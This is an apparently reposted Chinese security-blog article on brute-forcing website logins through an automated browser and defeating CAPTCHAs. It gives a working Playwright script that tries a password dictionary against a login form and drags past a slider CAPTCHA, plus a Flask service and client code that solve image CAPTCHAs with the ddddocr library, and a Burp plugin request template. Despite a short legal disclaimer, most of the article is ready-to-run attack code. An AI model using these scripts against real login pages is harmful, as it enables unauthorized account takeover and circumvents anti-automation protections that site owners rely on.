基于浏览器的口令暴破与图形验证码识别

admin 2022年6月16日10:57:17评论228 views字数 4324阅读14分24秒阅读模式


扫码领资料

获黑客教程

免费&进群

基于浏览器的口令暴破与图形验证码识别
基于浏览器的口令暴破与图形验证码识别

本文仅作为技术讨论及分享,严禁用于任何非法用途。

前言

随着网络安全水平的发展,越来越多的网站增加了 RSA 加密、图形验证码等防护手段,传统的口令暴破方式已捉襟见肘,如果高效、低代码的进行口令暴破?本文将介绍一个操作浏览器进行口令暴破的案例与验证码识别工具。

Playwright:浏览器自动化工具



Playwright 是一个强大的 Python 库,仅用一个 API 即可自动执行 Chromium、Firefox、WebKit 等主流浏览器自动化操作,并同时支持以无头模式、有头模式运行。

相比传统的 “selenium” 等工具,他可以录制我们对浏览器的操作并自动生成脚本,同时代码也是非常简单,与我们高效工作的目标非常契合。

Playwright:滑动验证码案例



生成登录流程代码


安装 playwright 后,运行下面命令进行录制浏览器操作,并生成代码:

1
python -m playwright codegen

基于浏览器的口令暴破与图形验证码识别


输入目标 URL 并回车,可以看到自动生成了代码:

基于浏览器的口令暴破与图形验证码识别

输入账号、密码,点击验证码,然后点击登录。录制过程中并不能拖动滑块,所以无法生成滑块的代码,登录操作其余的大部分代码均已生成,也可以看到其代码是非常简单的:

基于浏览器的口令暴破与图形验证码识别

修改为暴破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from playwright.sync_api import Playwright, sync_playwright
# chrome的路径
chromepath = r"chromium-939194chrome-winchrome.exe"
from time import sleep


def readpasswd(filename):
fp = open(r"password.txt", 'r', encoding='utf-8')
return fp

def run(playwright: Playwright) -> None:
browser = playwright.chromium.launch(executable_path=chromepath, headless=False)
context = browser.new_context()

# Open new page
page = context.new_page()
fp = readpasswd(1)
username = 'admin'
# 循环读取字典暴破
for passwd in fp:
page.goto("http://xxx.xxx.xxx.xxx/login.html")

# Click input[name="userName"]
page.click("input[name="userName"]")

# Fill input[name="userName"]
page.fill("input[name="userName"]", username)

# Click input[name="password"]
page.click("input[name="password"]")

# Fill input[name="password"]
page.fill("input[name="password"]", passwd)
# Click text=/.*>>.*/
# 滑动解锁代码
s = page.wait_for_selector("text=/.*\>\>.*/")
box = s.bounding_box()
page.mouse.move(box["x"] + box["width"] / 2, box["y"] + box["height"] / 2)
page.mouse.down()
# for i in range(10):
page.mouse.move(box["x"]+520,box["width"]/2, steps=10)

# Click text=登录
page.mouse.up()
page.click("text=登录")
sleep(1)
response_html = page.content()
print(f'username: {username}, password: {passwd}, length: {len(response_html)}, title: {page.title()}')

# ---------------------
context.close()
browser.close()





with sync_playwright() as playwright:
run(playwright)

运行效果如下,通过页面长度、标题等输出信息可大致判断是否暴破成功:

基于浏览器的口令暴破与图形验证码识别

ddddocr:Python 验证码识别库

ddddocr 是 Python 的一个 OCR 通用验证码识别 SDK,可离线识别验证码。项目地址:https://github.com/sml2h3/ddddocr。

为了方便使用这个验证码识别工具,我写了个简单的 web api 来方便远程调用验证码识别服务:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
### 保存以下代码为py文件,在服务器或者本地运行(需安装好ddddocr库)。
from flask import Flask
from flask import request, abort
import base64
import traceback
import sys
from os.path import join, abspath, dirname
import ddddocr

app = Flask(__name__)
token = 'fbc3a282fd5ed254e54d2260607a1360'


@app.route('/', methods=['GET', 'POST'])
def index():
res = ''
if request.method == 'POST':
usertoken = request.form.get('token')
img = request.form.get('b64img')
if token != usertoken:
return 'token error!', 403
else:
try:
content = base64.b64decode(img.encode('utf-8'))
res = classfifyCode(content)
except:
traceback.print_exc()
res = ''

return res, 200



def classfifyCode(image):
ocr = ddddocr.DdddOcr()
res = ocr.classification(image)
return res



def main():
app.run(host='0.0.0.0', port=50000, debug=True)


if __name__ == "__main__":
main()

调用示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import base64


# 获取验证码图片
r = requests.get('http://xxx.xxx.xxx/code.php')
img = r.content

b64img = base64.b64encode(img).decode('utf-8')
token = 'fbc3a282fd5ed254e54d2260607a1360'


data = {
'token': token,
'b64img': b64img
}


# 验证码识别服务器url
r2 = requests.post('http://127.0.0.1:50000', data=data)

print(r2.text, r.status_code)

这里随便找了个图形验证码测试,能正常检测出来,而且速度非常快:

基于浏览器的口令暴破与图形验证码识别


既然验证码识别的问题解决了,后面就是根据我们的实际需要去编写脚本或者集成到已有工具中了,非常简单。

下面补充一个 burpsuite 验证码识别插件 captcha-killer 调用该接口的案例:

captcha-killer:https://github.com/c0ny1/captcha-killer

1
2
3
4
5
6
7
8
9
10
POST / HTTP/1.1
Host: 127.0.0.1:50000
User-Agent: python-requests/2.26.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 2776
Content-Type: application/x-www-form-urlencoded

token=fbc3a282fd5ed254e54d2260607a1360&b64img=<@URLENCODE><@BASE64><@IMG_RAW></@IMG_RAW></@BASE64></@URLENCODE>


基于浏览器的口令暴破与图形验证码识别


小结

本文介绍了浏览器自动化工具 Playwright、验证码识别库 ddddocr 以及滑动验证码的暴破案例,如果遇到图形验证码的站点,只需要把滑动验证码的代码修改为调用 ddddocr 接口即可,相信聪明的读者们一定可以做到,就不重复赘述。

最后,感谢以下开源项目的作者为我们带来如此方便好用的工具:

https://github.com/microsoft/playwright-python

https://github.com/sml2h3/ddddocr

https://github.com/c0ny1/captcha-killer

  • 作者:r0yanx

  • 原文链接:https://r0yanx.com


声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及原作者不承担相应的后果.


@

学习更多渗透技能!体验靶场实战练习

基于浏览器的口令暴破与图形验证码识别

hack视频资料及工具

基于浏览器的口令暴破与图形验证码识别

(部分展示)


往期推荐

【精选】SRC快速入门+上分小秘籍+实战指南

爬取免费代理,拥有自己的代理池

漏洞挖掘|密码找回中的套路

渗透测试岗位面试题(重点:渗透思路)

漏洞挖掘 | 通用型漏洞挖掘思路技巧

干货|列了几种均能过安全狗的方法!

一名大学生的黑客成长史到入狱的自述

攻防演练|红队手段之将蓝队逼到关站!

巧用FOFA挖到你的第一个漏洞


看到这里了,点个“赞”、“再看”吧

原文始发于微信公众号(白帽子左一):基于浏览器的口令暴破与图形验证码识别

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月16日10:57:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   基于浏览器的口令暴破与图形验证码识别http://cn-sec.com/archives/1118465.html

发表评论

匿名网友 填写信息